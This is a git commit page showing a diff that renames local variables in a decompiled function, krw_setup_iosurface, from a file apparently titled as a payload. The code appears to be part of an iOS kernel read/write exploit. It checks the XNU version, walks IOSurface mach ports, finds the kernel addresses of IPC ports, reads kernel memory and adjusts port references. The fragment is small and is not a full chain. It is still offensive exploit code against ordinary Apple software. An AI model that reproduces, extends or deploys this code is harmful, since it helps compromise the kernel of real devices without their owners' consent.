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Clarify IOSurface setup locals

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khanhduytran0
2026-06-04 09:54:14 +07:00
parent 05816d7e52
commit 066b9a4454
1 changed files with 15 additions and 14 deletions
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src/payload_377bed/entry1_type0x09.m
+15 -14
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@@ -18901,17 +18901,18 @@ bool __fastcall krw_setup_physmap(__int64 a1)
bool __fastcall krw_setup_iosurface(__int64 a1)
{
vm_size_t v1; // x20
mach_port_name_t *result; // x0
mach_port_name_t *portSlot; // x0
int v4; // w8
kern_return_t memory_entry; // w8
kern_return_t v6; // w8
uint64_t *v7; // x1
__int64 v8; // x0
kern_return_t status; // w0
__int64 v9; // x21
char v10; // w8
char v11; // w24
unsigned int *v12; // x20
unsigned int v13; // w21
__int64 portKaddr; // x0
mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-54h] BYREF
vm_address_t address; // [xsp+10h] [xbp-50h] BYREF
vm_size_t size; // [xsp+18h] [xbp-48h] BYREF
@@ -18922,10 +18923,10 @@ bool __fastcall krw_setup_iosurface(__int64 a1)
size = vm_page_size;
if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
return false;
result = (mach_port_name_t *)iosurface_enum_mach_port(a1, 0);
if ( !result )
portSlot = (mach_port_name_t *)iosurface_enum_mach_port(a1, 0);
if ( !portSlot )
return false;
if ( *result + 1 > 1 )
if ( *portSlot + 1 > 1 )
return true;
if ( (unsigned int)(*(uint32_t *)(a1 + 172) + 1) < 2
|| !*(uint64_t *)(a1 + 216)
@@ -18961,24 +18962,24 @@ bool __fastcall krw_setup_iosurface(__int64 a1)
v7[7] = *(unsigned int *)(a1 + 136);
v7[8] = *(uint64_t *)(a1 + 160);
v7[9] = *(unsigned int *)(a1 + 168);
v8 = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1);
status = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1);
v9 = 0;
v10 = 1;
while ( 1 )
{
v11 = v10;
result = (mach_port_name_t *)iosurface_enum_mach_port(a1, v9);
if ( !result )
portSlot = (mach_port_name_t *)iosurface_enum_mach_port(a1, v9);
if ( !portSlot )
break;
v12 = result;
v12 = portSlot;
v13 = v17[v9];
v8 = task_self_get_ipc_port((struct_krwCtx *)a1, v13);
if ( !v8 )
portKaddr = task_self_get_ipc_port((struct_krwCtx *)a1, v13);
if ( !portKaddr )
break;
if ( (unsigned int)kread_and_vm_attr_double(a1, v8) )
if ( (unsigned int)kread_and_vm_attr_double(a1, portKaddr) )
return false;
v8 = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF);
if ( (uint32_t)v8 )
status = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF);
if ( status )
return false;
v10 = 0;
*v12 = v13;